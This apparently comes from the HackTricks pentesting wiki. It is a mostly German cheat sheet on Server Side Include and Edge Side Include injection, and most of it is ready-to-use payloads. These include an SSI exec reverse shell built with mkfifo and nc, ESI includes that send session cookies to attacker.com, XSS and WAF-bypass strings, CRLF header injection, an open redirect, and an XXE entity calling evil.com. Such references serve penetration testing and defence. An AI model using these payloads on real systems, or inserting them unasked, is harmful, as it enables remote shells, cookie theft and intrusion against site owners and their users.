Server Side Inclusion/Edge Side Inclusion Injection

Support HackTricks

Server Side Inclusion Grundinformationen

(Einführung aus Apache-Dokumentation)

SSI (Server Side Includes) sind Direktiven, die in HTML-Seiten platziert und auf dem Server ausgewertet werden, während die Seiten bereitgestellt werden. Sie ermöglichen es Ihnen, dynamisch generierte Inhalte zu einer bestehenden HTML-Seite hinzuzufügen, ohne die gesamte Seite über ein CGI-Programm oder eine andere dynamische Technologie bereitstellen zu müssen. Zum Beispiel könnten Sie eine Direktive in eine bestehende HTML-Seite einfügen, wie:

<!--#echo var="DATE_LOCAL" -->

Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und durch seinen Wert ersetzt:

Dienstag, 15-Jan-2013 19:28:54 EST

Die Entscheidung, wann SSI verwendet werden soll und wann die gesamte Seite von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.

Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit den Erweiterungen .shtml, .shtm oder .stm verwendet, aber das ist nicht der einzige Fall.

Ein typischer SSI-Ausdruck hat das folgende Format:

<!--#directive param="value" -->

Überprüfen

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Es gibt ein Problem mit Caching-Informationen oder dynamischen Anwendungen, da der Inhalt möglicherweise beim nächsten Abrufen des Inhalts variieren kann. Dafür wird ESI verwendet, um mit ESI-Tags den dynamischen Inhalt anzugeben, der generiert werden muss, bevor die Cache-Version gesendet wird. Wenn ein Angreifer in der Lage ist, ein ESI-Tag in den Cache-Inhalt einzufügen, könnte er in der Lage sein, willkürlichen Inhalt in das Dokument einzufügen, bevor es an die Benutzer gesendet wird.

ESI Detection

Die folgende Header in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:

Surrogate-Control: content="ESI/1.0"

Wenn Sie diesen Header nicht finden können, könnte der Server trotzdem ESI verwenden. Ein blinder Exploitationsansatz kann ebenfalls verwendet werden, da eine Anfrage beim Server des Angreifers ankommen sollte:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI-Ausnutzung

GoSecure erstellt eine Tabelle, um mögliche Angriffe zu verstehen, die wir gegen verschiedene ESI-fähige Software ausprobieren können, abhängig von der unterstützten Funktionalität:

  • Includes: Unterstützt die <esi:includes>-Direktive

  • Vars: Unterstützt die <esi:vars>-Direktive. Nützlich zum Umgehen von XSS-Filtern

  • Cookie: Dokumentencookies sind für die ESI-Engine zugänglich

  • Upstream-Header erforderlich: Surrogatanwendungen verarbeiten ESI-Anweisungen nicht, es sei denn, die upstream-Anwendung stellt die Header bereit

  • Host-Whitelist: In diesem Fall sind ESI-Includes nur von erlaubten Serverhosts möglich, was SSRF beispielsweise nur gegen diese Hosts möglich macht

Software

Includes

Vars

Cookies

Upstream-Header erforderlich

Host-Whitelist

Squid3

Ja

Ja

Ja

Ja

Nein

Varnish Cache

Ja

Nein

Nein

Ja

Ja

Fastly

Ja

Nein

Nein

Nein

Ja

Akamai ESI Testserver (ETS)

Ja

Ja

Ja

Nein

Nein

NodeJS esi

Ja

Ja

Ja

Nein

Nein

NodeJS nodesi

Ja

Nein

Nein

Nein

Optional

XSS

Die folgende ESI-Direktive lädt eine beliebige Datei in die Antwort des Servers

<esi:include src=http://attacker.com/xss.html>

Umgehung des Client-XSS-Schutzes

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
  • Fernzugriff auf Cookies stehlen

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • Stehlen Sie das Cookie HTTP_ONLY mit XSS, indem Sie es in der Antwort reflektieren:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Private Local File

Verwechseln Sie dies nicht mit einer "Local File Inclusion":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

Das Folgende wird einen Location-Header zur Antwort hinzufügen

<!--esi $add_header('Location','http://attacker.com') -->

Header hinzufügen

  • Header in erzwungenem Request hinzufügen

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • Fügen Sie einen Header in die Antwort ein (nützlich, um "Content-Type: text/json" in einer Antwort mit XSS zu umgehen)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF im Add-Header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai-Debug

Dies sendet Debug-Informationen, die in der Antwort enthalten sind:

<esi:debug/>

ESI + XSLT = XXE

Durch die Angabe des Wertes xslt für den dca-Parameter ist es möglich, eXtensible Stylesheet Language Transformations (XSLT) basierte ESI einzuschließen. Die Einbeziehung bewirkt, dass der HTTP-Surrogate die XML- und XSLT-Dateien abruft, wobei letztere erstere filtert. Solche XML-Dateien sind für XML External Entity (XXE) Angriffe ausnutzbar, die es Angreifern ermöglichen, SSRF-Angriffe auszuführen. Die Nützlichkeit dieses Ansatzes ist jedoch begrenzt, da ESI bereits als SSRF-Vektor dient. Aufgrund der fehlenden Unterstützung in der zugrunde liegenden Xalan-Bibliothek werden externe DTDs nicht verarbeitet, was die Extraktion lokaler Dateien verhindert.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT-Datei:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT-Seite:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Referenzen

Brute-Force-Erkennungsliste

Unterstütze HackTricks

Last updated